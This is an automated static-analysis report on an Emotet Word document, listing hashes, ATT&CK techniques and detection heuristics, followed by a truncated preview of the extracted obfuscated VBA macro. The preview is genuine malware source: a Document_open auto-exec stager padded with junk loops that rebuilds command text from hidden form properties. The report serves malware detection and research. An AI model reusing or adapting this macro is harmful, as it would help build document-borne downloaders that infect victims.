Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 7de3af188dfbb962…

MALICIOUS

Office (OLE)

190.4 KB Created: 2019-12-16 21:24:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 827e8236ab6ef8bc4dcfc112519fb0f5 SHA-1: 8471c0fcd70b836d2088238cd9781dbdff622ad6 SHA-256: 7de3af188dfbb96266dd740e39efe08199e9990f3fe5114c7b7f30cf5597716a
302 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1059 Command and Scripting Interpreter

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for Emotet. Heuristics indicate the use of CreateObject and GetObject, along with a hidden UserForm command stager, suggesting the macro's purpose is to download and execute a second-stage payload. ClamAV detection confirms the presence of Emotet, a known downloader.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-7459477-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7459477-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7797 bytes
SHA-256: dc464572caeef2f58b4cf32489b5ca62c69591a4d828702a9e79df813c14281e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Rvwqpele"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Wltmbgzzklq, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   Dim Ovsdpcvwtt, Cgvjrzilo
For Sbigsalxqooo = Lmwagslpanb To Dnzevfbzbg
         Wiwouosi = Mlkhrjdav
         Pijqjsil = Hex(Gaykkoagyj)
         Wbotnoswblrc = Chr(Nykvjxbw)
         Mxhucuwupx = Bqfutuivi - Kbcwdanq
         Dhphxuhoxmjo = Upodgokcquwsa
         Ucglnyipnvza = Hex(Juvwfbnljj)
         Aqvkfujvcj = Int(Rxlabign)
Next
   Dim Xhlibcnad, Tnixwwlcskkgf
For Sxuwvuaeiknj = Jofmtnsvyrnbl To Mbfxgkqfgrfsj
         Intejvfulxc = Diuicgwjhmlos
         Uovjvkiaigobg = Hex(Zenrbxxwpcdd)
         Hqqmhzwc = Chr(Nuilcoep)
         Mgabhaxsfg = Hzaqxpzhy - Mdhpluayob
         Bpoegbexnjg = Llqppvopwo
         Lmxeidfs = Hex(Ajltftzxdwugz)
         Iygazebqev = Int(Sffbuymlh)
Next
   Dim Xswvuknhds, Zdhstbaf
For Uqkeekoqjnzup = Aggfmzpoao To Pnoudzayglqgc
         Jkbeotjtut = Xfbjpzozduswv
         Dppactmfezk = Hex(Gutbcact)
         Agotjosf = Chr(Dgefsyfkzxkfj)
         Ibruulwympuo = Rmuaqzaq - Evsugsuwd
         Malooghr = Jehhlpetkrsni
         Tcruuxkzceljl = Hex(Tzyjuqkmvcpc)
         Izsvpuepwv = Int(Fedagtrrytpyu)
Next
Dugnaunzi
End Sub

Attribute VB_Name = "Yofjdutb"
Attribute VB_Base = "0{5E09956F-FDC5-48F7-99DE-1B12214F7BF7}{F2EDD97B-4016-4279-926B-F9069B0A3FD2}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Dbeqxqyobdi"
Function Jbnuxvdqpqdlz()
   Dim Uwjncacypy, Agigshjw
For Dehffmclsa = Egxnuhgrohv To Kotqrcgujs
         Xvpvefyrn = Jfncqawv
         Svyjvaxftu = Hex(Hxlrwkcxdzhm)
         Ezqtmwwtez = Chr(Ifalthoryq)
         Emtljtnmzkwyp = Qvnsmzkbw - Fzyslojrpadl
         Mfmyicwuzx = Xeztkwornn
         Yipyjhnkd = Hex(Uxdouvlzawaqe)
         Pgwsxyrfzanyl = Int(Lhpeewhitw)
Next
Ingwpfzt = Rvwqpele.Wltmbgzzklq
   Dim Onwvvlved, Tfhwwsszjrtmi
For Bgbohvzailh = Gsffurvksag To Etovboegko
         Jatfyloycsr = Sqveiguburg
         Jtpiwdcqkqb = Hex(Proklbbhjxjb)
         Inojntkbu = Chr(Wokxhatzorcm)
         Ejgavfhvu = Wholjowf - Nrkbxpbmrfb
         Ijeazdmb = Ultfofcfhuq
         Vzyqfidobsdg = Hex(Nxbcotapq)
         Nhoztjmrqj = Int(Nhtqctsp)
Next
Fivghfekka = Ingwpfzt + Yofjdutb.Xbspldhufxu + Yofjdutb.Sirdoncib + Yofjdutb.Eqaemdndxja
   Dim Ssgecajkoqbc, Hwvczdsiyobz
For Rsqqmmkrlrfu = Wqsmquox To Vjzkurdcn
         Vzlqpkqldwft = Iwojsduwlv
         Axtodgshaq = Hex(Ajymtipqgxlvo)
         Pyznpndjtrot = Chr(Klrosiif)
         Dfmfclxa = Djbdrixzeu - Rpwmuhvjlkq
         Kbxgiuojmx = Oxkljamyon
         Qrqeaztsfs = Hex(Aswaqfesu)
         Kkycjexvx = Int(Qrdjimdifvq)
Next
Wsveudlompqzp = Fivghfekka + Yofjdutb.Yiocigbqp + Yofjdutb.Esfybzpbjdqoi
   Dim Yrrctrzlmcpzg, Bxjuiekaqfp
For Olbhlyrjt = Lsqalzlxueiyr To Vnraxduuwbbh
         Kfiimiqnk = Tsdagmjmsdds
         Tryuykrxpjza = Hex(Mchdbjdlq)
         Orvuehnprtr = Chr(Mfzvdtbfxeaq)
         Qjnhaedj = Dkbllymukoqvj - Xrkrnueih
         Dlqnpcmds = Puyrffhjvzgz
         Tsfbzbupev = Hex(Xyoifopf)
         Svpybybgwmn = Int(Khctqxapdrbii)
Next
Jbnuxvdqpqdlz = Dmehcownpr + Wsveudlompqzp + Dmehcownpr
   Dim Hqhkaddmkd, Ryiobqrii
For Hlqhhwagcu = Rwzfvhvjxm To Dwuqovuazfzy
         Wpkwunqpqsck = Mxouzvek
         Shaajmwavz = Hex(Yasyeogbo)
         Tncrezorlnadn = Chr(Gdwboxohync)
         Pdavoihnhvr = Izsyxfmpi - Mpbegddcy
         Hnepefcy = Ahopoaqxp
         Bujygcger = Hex(Kgrfthag)
         Uamhmpscnf = Int(Vgsvqxdvuqpw)
Next
End Function
Function Dugnaunzi()
   Dim Chfmkmovjpu, Uoucmneiajyi
For Urnmmdtd = Swmnxyysygv To Gjebebyhezkt
         Chlyqgfkparkb = Jegjygdic
         Jioxbttc = Hex(N
... (truncated)